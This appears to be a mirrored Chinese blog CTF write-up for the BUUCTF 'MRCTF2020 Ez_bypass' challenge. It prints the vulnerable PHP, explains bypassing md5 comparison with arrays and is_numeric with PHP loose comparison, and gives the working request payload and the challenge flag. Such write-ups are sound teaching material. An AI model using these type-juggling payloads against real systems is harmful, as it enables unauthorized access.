zoukankan      html  css  js  c++  java
  • buuctf-[MRCTF2020]Ez_bypass

    今天,没事干,点进这个靶场。就是一个简单审计

    贴出源码,分析下

    <?php
    include 'flag.php';
    $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
    if(isset($_GET['gg'])&&isset($_GET['id'])) {
        $id=$_GET['id'];
        $gg=$_GET['gg'];
        if (md5($id) === md5($gg) && $id !== $gg) {
            echo 'You got the first step';
            if(isset($_POST['passwd'])) {
                $passwd=$_POST['passwd'];
                if (!is_numeric($passwd))
                {
                     if($passwd==1234567)
                     {
                         echo 'Good Job!';
                         highlight_file('flag.php');
                         die('By Retr_0');
                     }
                     else
                     {
                         echo "can you think twice??";
                     }
                }
                else{
                    echo 'You can not get it !';
                }
    
            }
            else{
                die('only one way to get the flag');
            }
    }
        else {
            echo "You are not a real hacker!";
        }
    }
    else{
        die('Please input first');
    }
    }Please input first

    需要绕过的就是一个md5比较,md5函数不能处理数组,处理数组会报错,就会返回null,然后经过md5就相等了,传入的参数不同,gg和id的值就不同,

    测试一下:

    <?php
    if (md5([])===md5([])){
        echo "相等";
    }else{
        echo "不相等";
    }
    ?>        //打印 相等

    还有一个就是is_numeric()函数,它的作用就是判断参数是否为数字或者是字符串数字,如果不是则返回false。然后就是==的弱类型比较,我们需要进入里面的if语句,所以我们必须让is_numeric()函数返回为false

    <?php

    $b
    ='1234567a';
    var_dump(is_numeric($b));  //返回bool(false)

    var_dump($b==1234567); //返回bool(true)
    ?>

    且弱类型比较时还需要等于1234567   好绕过,php的弱类型比较 1234567a==1234567这两个肯定返回true

    于是我们构造payload:get方式提交gg[]=111&id=222同时post传参passwd=1234567a

    于是获得flag{fe9822ad-a24e-4f7c-8d41-e8e850ff0331}

  • 相关阅读:
    JAVA的HashTable源码分析
    散列表
    JAVA的HashSet源码分析
    Java中HashMap源码分析
    MySQL max_allowed_packet设置及问题
    通过分析 JDK 源代码研究 TreeMap 红黑树算法实
    红黑树详解
    TreeMap源码分析
    Vector的浅析
    web.xml 配置中classpath: 与classpath*:的区别
  • 原文地址:https://www.cnblogs.com/junlebao/p/14292986.html
Copyright © 2011-2022 走看看